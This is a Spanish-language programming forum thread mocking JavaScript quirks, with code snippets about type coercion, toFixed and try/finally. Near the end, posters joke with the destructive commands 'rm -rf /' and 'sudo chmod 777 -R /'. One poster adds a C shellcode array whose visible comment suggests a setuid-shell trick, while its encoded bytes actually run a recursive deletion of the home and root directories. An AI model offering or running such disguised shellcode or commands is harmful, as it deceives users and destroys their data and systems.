Feda /dev/

eZpit

#8250 Se abre el debate, añado documentación:
https://github.com/mateuszgachowski/Carpet.js/
http://www.jscarpets.com/

1 respuesta
AikonCWD

Se os va de las manos chicos...

CheLu2K

#8251 mierda, venía a eso.

Troyer
var false = !!"false";  // == true

???

Thx JS.

Troyer
10.toFixed(2);    // Syntax Error
10. toFixed(2);   // Syntax Error
10 .toFixed(2); // “10.00” 

?????

Thx JS.

Saphyel

Yo creo que si los que os meteis con JS le dais una oportunidad estoy seguro que dejariais de meteros con el y descubririais que habeis perdido entre 10mins y 1 semana

2
Troyer
function foo() {
  try {
    return "This should work";
  }
  finally {
    return "This should never happen";
  }
}

foo();

//"This should never happen"

??????

Thx JS.

1 respuesta
AikonCWD

#8257 Joder, ésto que pones es completamente normal, un try (catch) finally de toda la vida.

1 respuesta
Fyn4r

Lo que molaba es que no pusieses 20 posts

1
Troyer

#8258 Cierto, pero la gracia es cuando te viene un paquete en tu framework JS diario favorito con un finally en una función interna y te da por hacer algún prototype de esa función y acaba haciendo algo que no entiendes, pero tienes razón es un try-catch normal.

1 1 respuesta
AikonCWD

#8260 Aunque lo correcto sería la implementación de C# para los try/finally... Ese trozo de código no se puede complilar, devuelve un error.

1
MisKo
10.toFixed(2); // Syntax Error
10. toFixed(2); // Syntax Error
10 .toFixed(2); // “10.00”

Y en este caso, si usas el número directamente en vez de una variable, lo q intenta en las 2 primeras es crear el número decimal y te da error de sintaxis.

Si vas a usar un número metido a mano, mételo directamente ya como lo necesitas, aunque siempre es mejor usar variables.

1
pineda

el garbage collector opina lo contrario :P

1
Merkury

#8247 Veo que las pillas al vuelo... xD

1
CheLu2K

Debajo de la foto del OODH yo pondría esto:

1
Troyer

1
gohrum

Os acordáis de cuando le cambiaron el nombre al hilo?

1 respuesta
eXtreM3

#8267 seguro que fuiste tú con tu extensión y JS.

1
Fyn4r

En otro orden de cosas, alguien va a la euskal? podemos quedar allí para sacar al mercado un par de frameworks js entre bolsas de doritos

1 respuesta
Markitos_182

Este hilo entre baits y rebaits la verdad es que es de lo mejor.

#8269 cuenta con mi rm -rf a lo que hagáis

1 respuesta
Amazon

#8270 sabes que en verdad rm -rf / no hace nada ?

1 respuesta
Troyer

#8271 Es mucho mejor

sudo chmod 777 -R /
AikonCWD

Los powerusers de verdad usamos:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
1 2 respuestas
Kaiserlau

#8273 mira macho

3
Ranthas

Que se tranquilice la muchachada. Aquí traigo la verdad.

http://www.incentergy.de/blog/2016/05/14/10-reasons-why-javascript-is-better-than-java/

Y eso que es de hace un año, ahora mismo habrán otras 974 razones.

1 respuesta
Saphyel

#8273 spam nazi!

Traber

#8275

JavaScript is a dynamically typed languages[...]

Una de las cosas a las que más mierda le meten de PHP lo meten como bondad en Javascript XD.

In every major browser (Chrome, Safari, Firefox and Internet Explorer) a full high quality implementation of JavaScript is given

Ahí dice que Internet Explorer es un navegador y que implementa una VM de Javascript de alta calidad... Creo que el redactor de esa mierda no es de fiar.

2 1 respuesta
Ranthas

#8277 Nadie que defienda JS es de fiar. If you know what I mean.

1
Merkury

Lo que esta claro sobre javascript es que es un mierda, lo mejor es aprender jQuery de prineras y dejarse de tonterias.

1 respuesta
MisKo

Haceros panaderos!

Tema cerrado